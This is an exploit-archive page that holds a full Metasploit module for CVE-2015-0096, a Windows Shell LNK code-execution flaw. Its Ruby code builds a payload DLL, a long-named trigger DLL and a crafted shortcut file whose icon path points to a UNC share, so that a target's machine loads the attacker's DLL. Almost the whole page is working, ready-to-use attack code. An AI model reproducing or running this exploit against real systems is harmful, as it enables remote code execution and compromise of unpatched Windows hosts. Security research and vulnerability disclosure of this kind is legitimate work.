Microsoft Windows Shell File Format LNK Code Execution Exploit



EKU-ID: 4644 CVE: 2015-0096 OSVDB-ID:
Author: juan vazquez Published: 2015-03-16 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
  
require 'msf/core'
  
class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::EXE
  
  attr_accessor :dll_base_name
  attr_accessor :exploit_dll_base_name
  
  def initialize(info = {})
    super(update_info(info,
      'Name'      => 'Microsoft Windows Shell LNK Code Execution',
      'Description'  => %q{
        This module exploits a vulnerability in the MS10-046 patch to abuse (again) the handling
        of Windows Shortcut files (.LNK) that contain an icon resource pointing to a malicious
        DLL. This module creates the required files to exploit the vulnerability. They must be
        uploaded to an UNC path accessible by the target. This module has been tested successfully
        on Windows 2003 SP2 with MS10-046 installed and Windows 2008 SP2 (32 bits) with MS14-027
        installed.
      },
      'Author'    =>
        [
          'Michael Heerklotz', # Vulnerability discovery
          'juan vazquez' # msf module
        ],
      'License'    => MSF_LICENSE,
      'References'  =>
        [
          ['CVE', '2015-0096'],
          ['MSB', 'MS15-020'],
          ['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Full-details-on-CVE-2015-0096-and-the-failed-MS10-046-Stuxnet/ba-p/6718459#.VQBOymTF9so'],
          ['URL', 'https://github.com/rapid7/metasploit-framework/pull/4911'] # How to guide here
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'    =>
        {
          'Space'  => 2048,
        },
      'Platform'    => 'win',
      'Targets'    =>
        [
          ['Automatic',  { }]
        ],
      'DisclosureDate' => 'Mar 10 2015',
      'DefaultTarget'  => 0))
  
    register_options(
      [
        OptString.new('FILENAME', [true, 'The LNK file', 'msf.lnk']),
        OptString.new('UNCHOST', [true, 'The host portion of the UNC path to provide to clients (ex: 1.2.3.4).']),
        OptString.new('UNCSHARE', [true, 'The share folder portion of the UNC path to provide to clients (ex: share).']),
      ], self.class)
  end
  
  def smb_host
    "\\\\#{datastore['UNCHOST']}\\#{datastore['UNCSHARE']}\\"
  end
  
  def exploit_dll_filename
    name_length = 257 - (smb_host.length + 4 + 2)
  
    self.dll_base_name = dll_base_name || rand_text_alpha(1)
    self.exploit_dll_base_name = exploit_dll_base_name || rand_text_alpha(name_length)
  
    "#{dll_base_name} #{exploit_dll_base_name}.dll"
  end
  
  def dll_filename
    self.dll_base_name = dll_base_name || rand_text_alpha(1)
  
    "#{dll_base_name}.dll"
  end
  
  def create_exploit_file(file_name, data)
    unless ::File.directory?(Msf::Config.local_directory)
      FileUtils.mkdir_p(Msf::Config.local_directory)
    end
    path = File.join(Msf::Config.local_directory, file_name)
    full_path = ::File.expand_path(path)
    File.open(full_path, 'wb') { |fd| fd.write(data) }
  
    full_path
  end
  
  def dll_create(data)
    full_path = create_exploit_file(dll_filename, data)
  
    print_good "DLL with payload stored at #{full_path}"
  end
  
  def exploit_dll_create(data)
    full_path = create_exploit_file(exploit_dll_filename, data)
  
    print_good "Fake dll to exploit stored at #{full_path}"
  end
  
  def exploit
    dll = generate_payload_dll
    dll_create(dll)
    exploit_dll_create(dll)
  
    lnk = generate_link("#{smb_host}#{exploit_dll_filename}")
    file_create(lnk)
  end
  
  # stolen from ms10_046_shortcut_icon_dllloader, all the credits to the original authors: 'hdm', 'jduck', 'B_H'
  def generate_link(unc)
    uni_unc = unc.unpack('C*').pack('v*')
    path = ''
    path << [
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00
    ].pack('C*')
    path << uni_unc
  
    # LinkHeader
    ret = [
      0x4c, 0x00, 0x00, 0x00, 0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x46, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
    ].pack('C*')
  
    idlist_data = ''
    idlist_data << [0x12 + 2].pack('v')
    idlist_data << [
      0x1f, 0x00, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30,
      0x30, 0x9d
    ].pack('C*')
    idlist_data << [0x12 + 2].pack('v')
    idlist_data << [
      0x2e, 0x1e, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30,
      0x30, 0x9d
    ].pack('C*')
    idlist_data << [path.length + 2].pack('v')
    idlist_data << path
    idlist_data << [0x00].pack('v') # TERMINAL WOO
  
    # LinkTargetIDList
    ret << [idlist_data.length].pack('v') # IDListSize
    ret << idlist_data
  
    # ExtraData blocks (none)
    ret << [rand(4)].pack('V')
  
    # Patch in the LinkFlags
    ret[0x14, 4] = ['10000001000000000000000000000000'.to_i(2)].pack('N')
  
    ret
  end
end